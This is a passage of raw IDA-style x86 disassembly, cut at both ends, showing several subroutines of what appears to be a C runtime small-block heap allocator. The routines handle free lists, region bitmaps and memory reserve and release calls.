[edx+4] mov [ecx+4], eax mov ecx, [ebp+var_38] mov edx, [ecx+4] mov eax, [ebp+var_38] mov ecx, [eax+8] mov [edx+8], ecx mov edx, [ebp+var_30] add edx, [ebp+var_14] mov [ebp+var_30], edx loc_41CD98: ; CODE XREF: sub_41CC00+70j mov eax, [ebp+var_30] sar eax, 4 sub eax, 1 mov [ebp+var_28], eax cmp [ebp+var_28], 3Fh jbe short loc_41CDB1 mov [ebp+var_28], 3Fh loc_41CDB1: ; CODE XREF: sub_41CC00+1A8j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz loc_41CF15 mov edx, [ebp+var_1C] sub edx, [ebp+var_C] mov [ebp+var_34], edx mov eax, [ebp+var_C] sar eax, 4 sub eax, 1 mov [ebp+var_2C], eax cmp [ebp+var_2C], 3Fh jbe short loc_41CDE1 mov [ebp+var_2C], 3Fh loc_41CDE1: ; CODE XREF: sub_41CC00+1D8j mov ecx, [ebp+var_30] add ecx, [ebp+var_C] mov [ebp+var_30], ecx mov edx, [ebp+var_30] sar edx, 4 sub edx, 1 mov [ebp+var_28], edx cmp [ebp+var_28], 3Fh jbe short loc_41CE03 mov [ebp+var_28], 3Fh loc_41CE03: ; CODE XREF: sub_41CC00+1FAj mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz loc_41CF0F mov ecx, [ebp+var_34] mov edx, [ebp+var_34] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41CEF1 cmp [ebp+var_2C], 20h jnb short loc_41CE86 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_2C] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_2C] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41CE84 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41CE84: ; CODE XREF: sub_41CC00+26Aj jmp short loc_41CEF1 ; --------------------------------------------------------------------------- loc_41CE86: ; CODE XREF: sub_41CC00+225j mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41CEF1 mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41CEF1: ; CODE XREF: sub_41CC00+21Bj ; sub_41CC00:loc_41CE84j ... mov ecx, [ebp+var_34] mov edx, [ecx+8] mov eax, [ebp+var_34] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov ecx, [ebp+var_34] mov edx, [ecx+8] mov [eax+8], edx loc_41CF0F: ; CODE XREF: sub_41CC00+209j mov eax, [ebp+var_34] mov [ebp+var_1C], eax loc_41CF15: ; CODE XREF: sub_41CC00+1B9j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz short loc_41CF2B mov edx, [ebp+var_2C] cmp edx, [ebp+var_28] jz loc_41D03B loc_41CF2B: ; CODE XREF: sub_41CC00+31Dj mov eax, [ebp+var_28] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_20], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov [eax+8], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ecx+4] mov eax, [ebp+var_1C] mov [edx+8], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41D03B cmp [ebp+var_28], 20h jnb short loc_41CFD4 mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_41CFB2 mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41CFB2: ; CODE XREF: sub_41CC00+39Aj mov eax, 80000000h mov ecx, [ebp+var_28] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx jmp short loc_41D03B ; --------------------------------------------------------------------------- loc_41CFD4: ; CODE XREF: sub_41CC00+377j mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_41D012 mov ecx, [ebp+var_28] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_41D012: ; CODE XREF: sub_41CC00+3F5j mov ecx, [ebp+var_28] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx loc_41D03B: ; CODE XREF: sub_41CC00+325j ; sub_41CC00+36Dj ... mov ecx, [ebp+var_1C] mov edx, [ebp+var_30] mov [ecx], edx mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov ecx, [ebp+var_30] mov [eax-4], ecx mov edx, [ebp+var_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jnz loc_41D1C9 cmp dword_493770, 0 jz loc_41D1B8 mov eax, dword_493768 shl eax, 0Fh mov ecx, dword_493770 mov edx, [ecx+0Ch] add edx, eax mov [ebp+var_18], edx push 4000h push 8000h mov eax, [ebp+var_18] push eax call ds:dword_494450 mov edx, 80000000h mov ecx, dword_493768 shr edx, cl mov eax, dword_493770 mov ecx, [eax+8] or ecx, edx mov edx, dword_493770 mov [edx+8], ecx mov eax, dword_493770 mov ecx, [eax+10h] mov edx, dword_493768 mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, dword_493770 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, dword_493770 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, dword_493770 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_41D116 mov edx, dword_493770 mov eax, [edx+4] and al, 0FEh mov ecx, dword_493770 mov [ecx+4], eax loc_41D116: ; CODE XREF: sub_41CC00+500j mov edx, dword_493770 cmp dword ptr [edx+8], 0FFFFFFFFh jnz loc_41D1B8 push 8000h push 0 mov eax, dword_493770 mov ecx, [eax+0Ch] push ecx call ds:dword_494450 mov edx, dword_493770 mov eax, [edx+10h] push eax push 0 mov ecx, dword_49377C push ecx call ds:dword_494350 mov edx, dword_493774 imul edx, 14h mov eax, dword_493778 add eax, edx mov ecx, dword_493770 add ecx, 14h sub eax, ecx push eax mov edx, dword_493770 add edx, 14h push edx mov eax, dword_493770 push eax call sub_426C00 add esp, 0Ch mov ecx, dword_493774 sub ecx, 1 mov dword_493774, ecx mov edx, [ebp+arg_0] cmp edx, dword_493770 jbe short loc_41D1AC mov eax, [ebp+arg_0] sub eax, 14h mov [ebp+arg_0], eax loc_41D1AC: ; CODE XREF: sub_41CC00+5A1j mov ecx, dword_493778 mov dword_49376C, ecx loc_41D1B8: ; CODE XREF: sub_41CC00+46Fj ; sub_41CC00+520j mov edx, [ebp+arg_0] mov dword_493770, edx mov eax, [ebp+var_4] mov dword_493768, eax loc_41D1C9: ; CODE XREF: sub_41CC00+462j mov esp, ebp pop ebp retn sub_41CC00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1D0 proc near ; CODE XREF: sub_41BDF0+1Dp ; sub_41C6D0+99p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 38h push esi mov eax, dword_493774 imul eax, 14h mov ecx, dword_493778 add ecx, eax mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] add edx, 17h and edx, 0FFFFFFF0h mov [ebp+var_28], edx mov eax, [ebp+var_28] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 20h jge short loc_41D21C or edx, 0FFFFFFFFh mov ecx, [ebp+var_20] shr edx, cl mov [ebp+var_24], edx mov [ebp+var_34], 0FFFFFFFFh jmp short loc_41D231 ; --------------------------------------------------------------------------- loc_41D21C: ; CODE XREF: sub_41D1D0+36j mov [ebp+var_24], 0 mov ecx, [ebp+var_20] sub ecx, 20h or eax, 0FFFFFFFFh shr eax, cl mov [ebp+var_34], eax loc_41D231: ; CODE XREF: sub_41D1D0+4Aj mov ecx, dword_49376C mov [ebp+var_18], ecx loc_41D23A: ; CODE XREF: sub_41D1D0+94j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_41D266 mov eax, [ebp+var_18] mov ecx, [ebp+var_24] and ecx, [eax] mov edx, [ebp+var_18] mov eax, [ebp+var_34] and eax, [edx+4] or ecx, eax test ecx, ecx jz short loc_41D25B jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D25B: ; CODE XREF: sub_41D1D0+87j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_41D23A ; --------------------------------------------------------------------------- loc_41D266: ; CODE XREF: sub_41D1D0+70j ; sub_41D1D0+89j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz loc_41D34D mov eax, dword_493778 mov [ebp+var_18], eax loc_41D27A: ; CODE XREF: sub_41D1D0+D7j mov ecx, [ebp+var_18] cmp ecx, dword_49376C jnb short loc_41D2A9 mov edx, [ebp+var_18] mov eax, [ebp+var_24] and eax, [edx] mov ecx, [ebp+var_18] mov edx, [ebp+var_34] and edx, [ecx+4] or eax, edx test eax, eax jz short loc_41D29E jmp short loc_41D2A9 ; --------------------------------------------------------------------------- loc_41D29E: ; CODE XREF: sub_41D1D0+CAj mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_41D27A ; --------------------------------------------------------------------------- loc_41D2A9: ; CODE XREF: sub_41D1D0+B3j ; sub_41D1D0+CCj mov ecx, [ebp+var_18] cmp ecx, dword_49376C jnz loc_41D34D loc_41D2B8: ; CODE XREF: sub_41D1D0+104j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_41D2D6 mov eax, [ebp+var_18] cmp dword ptr [eax+8], 0 jz short loc_41D2CB jmp short loc_41D2D6 ; --------------------------------------------------------------------------- loc_41D2CB: ; CODE XREF: sub_41D1D0+F7j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_41D2B8 ; --------------------------------------------------------------------------- loc_41D2D6: ; CODE XREF: sub_41D1D0+EEj ; sub_41D1D0+F9j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz short loc_41D327 mov eax, dword_493778 mov [ebp+var_18], eax loc_41D2E6: ; CODE XREF: sub_41D1D0+135j mov ecx, [ebp+var_18] cmp ecx, dword_49376C jnb short loc_41D307 mov edx, [ebp+var_18] cmp dword ptr [edx+8], 0 jz short loc_41D2FC jmp short loc_41D307 ; --------------------------------------------------------------------------- loc_41D2FC: ; CODE XREF: sub_41D1D0+128j mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_41D2E6 ; --------------------------------------------------------------------------- loc_41D307: ; CODE XREF: sub_41D1D0+11Fj ; sub_41D1D0+12Aj mov ecx, [ebp+var_18] cmp ecx, dword_49376C jnz short loc_41D327 call sub_41D710 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_41D327 xor eax, eax jmp loc_41D701 ; --------------------------------------------------------------------------- loc_41D327: ; CODE XREF: sub_41D1D0+10Cj ; sub_41D1D0+140j ... mov edx, [ebp+var_18] push edx call sub_41D820 add esp, 4 mov ecx, [ebp+var_18] mov edx, [ecx+10h] mov [edx], eax mov eax, [ebp+var_18] mov ecx, [eax+10h] cmp dword ptr [ecx], 0FFFFFFFFh jnz short loc_41D34D xor eax, eax jmp loc_41D701 ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D1D0+9Cj ; sub_41D1D0+E2j ... mov edx, [ebp+var_18] mov dword_49376C, edx mov eax, [ebp+var_18] mov ecx, [eax+10h] mov [ebp+var_38], ecx mov edx, [ebp+var_38] mov eax, [edx] mov [ebp+var_30], eax cmp [ebp+var_30], 0FFFFFFFFh jz short loc_41D390 mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov eax, [ebp+var_24] and eax, [edx+ecx*4+44h] mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [edx+ecx*4+0C4h] or eax, esi test eax, eax jnz short loc_41D3C5 loc_41D390: ; CODE XREF: sub_41D1D0+19Bj mov [ebp+var_30], 0 loc_41D397: ; CODE XREF: sub_41D1D0+1F3j mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [ecx+eax*4+0C4h] or edx, esi test edx, edx jnz short loc_41D3C5 mov edx, [ebp+var_30] add edx, 1 mov [ebp+var_30], edx jmp short loc_41D397 ; --------------------------------------------------------------------------- loc_41D3C5: ; CODE XREF: sub_41D1D0+1BEj ; sub_41D1D0+1E8j mov eax, [ebp+var_30] imul eax, 204h mov ecx, [ebp+var_38] lea edx, [ecx+eax+144h] mov [ebp+var_4], edx mov [ebp+var_20], 0 mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_41D412 mov [ebp+var_20], 20h mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_34] and edx, [ecx+eax*4+0C4h] mov [ebp+var_1C], edx loc_41D412: ; CODE XREF: sub_41D1D0+226j ; sub_41D1D0+259j cmp [ebp+var_1C], 0 jl short loc_41D42B mov eax, [ebp+var_1C] shl eax, 1 mov [ebp+var_1C], eax mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx jmp short loc_41D412 ; --------------------------------------------------------------------------- loc_41D42B: ; CODE XREF: sub_41D1D0+246j mov edx, [ebp+var_20] mov eax, [ebp+var_4] mov ecx, [eax+edx*8+4] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov eax, [edx] sub eax, [ebp+var_28] mov [ebp+var_8], eax mov ecx, [ebp+var_8] sar ecx, 4 sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 3Fh jle short loc_41D45C mov [ebp+var_14], 3Fh loc_41D45C: ; CODE XREF: sub_41D1D0+283j mov edx, [ebp+var_14] cmp edx, [ebp+var_20] jz loc_41D680 mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_41D54A cmp [ebp+var_20], 20h jge short loc_41D4DF mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov ecx, [edx+ecx*4+44h] and ecx, eax mov edx, [ebp+var_30] mov eax, [ebp+var_38] mov [eax+edx*4+44h], ecx mov ecx, [ebp+var_38] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_38] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_38] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41D4DD mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_18] mov edx, [ecx] and edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_41D4DD: ; CODE XREF: sub_41D1D0+2F3j jmp short loc_41D54A ; --------------------------------------------------------------------------- loc_41D4DF: ; CODE XREF: sub_41D1D0+2AEj mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] and eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax mov eax, [ebp+var_38] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_38] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_38] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41D54A mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_18] mov ecx, [eax+4] and ecx, edx mov edx, [ebp+var_18] mov [edx+4], ecx loc_41D54A: ; CODE XREF: sub_41D1D0+2A4j ; sub_41D1D0:loc_41D4DDj ... mov eax, [ebp+var_10] mov ecx, [eax+8] mov edx, [ebp+var_10] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+var_10] mov edx, [ecx+4] mov eax, [ebp+var_10] mov ecx, [eax+8] mov [edx+8], ecx cmp [ebp+var_8], 0 jz loc_41D680 mov edx, [ebp+var_14] mov eax, [ebp+var_4] lea ecx, [eax+edx*8] mov [ebp+var_C], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+var_10] mov ecx, [eax+4] mov edx, [ebp+var_10] mov [ecx+8], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_41D680 cmp [ebp+var_14], 20h jge short loc_41D61A mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_41D5F8 mov eax, 80000000h mov ecx, [ebp+var_14] shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx] or edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_41D5F8: ; CODE XREF: sub_41D1D0+410j mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+44h], eax jmp short loc_41D680 ; --------------------------------------------------------------------------- loc_41D61A: ; CODE XREF: sub_41D1D0+3EEj mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_41D657 mov ecx, [ebp+var_14] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx+4] or edx, eax mov eax, [ebp+var_18] mov [eax+4], edx loc_41D657: ; CODE XREF: sub_41D1D0+46Aj mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax loc_41D680: ; CODE XREF: sub_41D1D0+292j ; sub_41D1D0+39Cj ... cmp [ebp+var_8], 0 jz short loc_41D69A mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax], ecx mov edx, [ebp+var_10] add edx, [ebp+var_8] mov eax, [ebp+var_8] mov [edx-4], eax loc_41D69A: ; CODE XREF: sub_41D1D0+4B4j mov ecx, [ebp+var_10] add ecx, [ebp+var_8] mov [ebp+var_10], ecx mov edx, [ebp+var_28] add edx, 1 mov eax, [ebp+var_10] mov [eax], edx mov ecx, [ebp+var_28] add ecx, 1 mov edx, [ebp+var_10] add edx, [ebp+var_28] mov [edx-4], ecx mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov edx, [ebp+var_4] mov [edx], eax test ecx, ecx jnz short loc_41D6F3 mov eax, [ebp+var_18] cmp eax, dword_493770 jnz short loc_41D6F3 mov ecx, [ebp+var_30] cmp ecx, dword_493768 jnz short loc_41D6F3 mov dword_493770, 0 loc_41D6F3: ; CODE XREF: sub_41D1D0+501j ; sub_41D1D0+50Cj ... mov edx, [ebp+var_38] mov eax, [ebp+var_30] mov [edx], eax mov eax, [ebp+var_10] add eax, 4 loc_41D701: ; CODE XREF: sub_41D1D0+152j ; sub_41D1D0+178j pop esi mov esp, ebp pop ebp retn sub_41D1D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D710 proc near ; CODE XREF: sub_41D1D0+142p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_493774 cmp eax, dword_493764 jnz short loc_41D76B mov ecx, dword_493764 add ecx, 10h imul ecx, 14h push ecx mov edx, dword_493778 push edx push 0 mov eax, dword_49377C push eax call ds:dword_494444 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41D753 xor eax, eax jmp loc_41D81B ; --------------------------------------------------------------------------- loc_41D753: ; CODE XREF: sub_41D710+3Aj mov ecx, [ebp+var_4] mov dword_493778, ecx mov edx, dword_493764 add edx, 10h mov dword_493764, edx loc_41D76B: ; CODE XREF: sub_41D710+Fj mov eax, dword_493774 imul eax, 14h mov ecx, dword_493778 add ecx, eax mov [ebp+var_4], ecx push 41C4h push 8 mov edx, dword_49377C push edx call ds:dword_494354 mov ecx, [ebp+var_4] mov [ecx+10h], eax mov edx, [ebp+var_4] cmp dword ptr [edx+10h], 0 jnz short loc_41D7A5 xor eax, eax jmp short loc_41D81B ; --------------------------------------------------------------------------- loc_41D7A5: ; CODE XREF: sub_41D710+8Fj push 4 push 2000h push 100000h push 0 call ds:dword_494454 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0 jnz short loc_41D7E2 mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx push 0 mov edx, dword_49377C push edx call ds:dword_494350 xor eax, eax jmp short loc_41D81B ; --------------------------------------------------------------------------- loc_41D7E2: ; CODE XREF: sub_41D710+B6j mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0FFFFFFFFh mov eax, dword_493774 add eax, 1 mov dword_493774, eax mov ecx, [ebp+var_4] mov edx, [ecx+10h] mov dword ptr [edx], 0FFFFFFFFh mov eax, [ebp+var_4] loc_41D81B: ; CODE XREF: sub_41D710+3Ej ; sub_41D710+93j ... mov esp, ebp pop ebp retn sub_41D710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D820 proc near ; CODE XREF: sub_41D1D0+15Bp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ebp+var_8], eax mov [ebp+var_28], 0 loc_41D83F: ; CODE XREF: sub_41D820+36j cmp [ebp+var_8], 0 jl short loc_41D858 mov ecx, [ebp+var_8] shl ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_28] add edx, 1 mov [ebp+var_28], edx jmp short loc_41D83F ; --------------------------------------------------------------------------- loc_41D858: ; CODE XREF: sub_41D820+23j mov eax, [ebp+var_28] imul eax, 204h mov ecx, [ebp+var_2C] lea edx, [ecx+eax+144h] mov [ebp+var_C], edx mov [ebp+var_20], 0 jmp short loc_41D880 ; --------------------------------------------------------------------------- loc_41D877: ; CODE XREF: sub_41D820+84j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax loc_41D880: ; CODE XREF: sub_41D820+55j cmp [ebp+var_20], 3Fh jge short loc_41D8A6 mov ecx, [ebp+var_20] mov edx, [ebp+var_C] lea eax, [edx+ecx*8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_18] mov [ecx+8], edx mov eax, [ebp+var_18] mov ecx, [ebp+var_18] mov [eax+4], ecx jmp short loc_41D877 ; --------------------------------------------------------------------------- loc_41D8A6: ; CODE XREF: sub_41D820+64j mov edx, [ebp+var_28] shl edx, 0Fh mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] add ecx, edx mov [ebp+var_10], ecx push 4 push 1000h push 8000h mov edx, [ebp+var_10] push edx call ds:dword_494454 test eax, eax jnz short loc_41D8D9 or eax, 0FFFFFFFFh jmp loc_41DA0A ; --------------------------------------------------------------------------- loc_41D8D9: ; CODE XREF: sub_41D820+AFj mov eax, [ebp+var_10] add eax, 7000h mov [ebp+var_1C], eax mov ecx, [ebp+var_10] mov [ebp+var_4], ecx jmp short loc_41D8F8 ; --------------------------------------------------------------------------- loc_41D8EC: ; CODE XREF: sub_41D820+13Bj mov edx, [ebp+var_4] add edx, 1000h mov [ebp+var_4], edx loc_41D8F8: ; CODE XREF: sub_41D820+CAj mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] ja short loc_41D95D mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0FFFFFFFFh mov edx, [ebp+var_4] mov dword ptr [edx+0FFCh], 0FFFFFFFFh mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov dword ptr [ecx], 0FF0h mov edx, [ebp+var_18] add edx, 1000h mov eax, [ebp+var_18] mov [eax+4], edx mov ecx, [ebp+var_18] sub ecx, 1000h mov edx, [ebp+var_18] mov [edx+8], ecx mov eax, [ebp+var_18] add eax, 0FECh mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov dword ptr [ecx], 0FF0h jmp short loc_41D8EC ; --------------------------------------------------------------------------- loc_41D95D: ; CODE XREF: sub_41D820+DEj mov edx, [ebp+var_C] add edx, 1F8h mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+4], eax mov edx, [ebp+var_14] mov eax, [edx+4] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_1C] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+8], eax mov edx, [ebp+var_14] mov eax, [edx+8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_28] mov ecx, [ebp+var_2C] mov dword ptr [ecx+eax*4+44h], 0 mov edx, [ebp+var_28] mov eax, [ebp+var_2C] mov dword ptr [eax+edx*4+0C4h], 1 mov ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+43h] mov eax, [ebp+var_2C] mov cl, [eax+43h] add cl, 1 mov eax, [ebp+var_2C] mov [eax+43h], cl test edx, edx jnz short loc_41D9ED mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_41D9ED: ; CODE XREF: sub_41D820+1BCj mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+var_28] loc_41DA0A: ; CODE XREF: 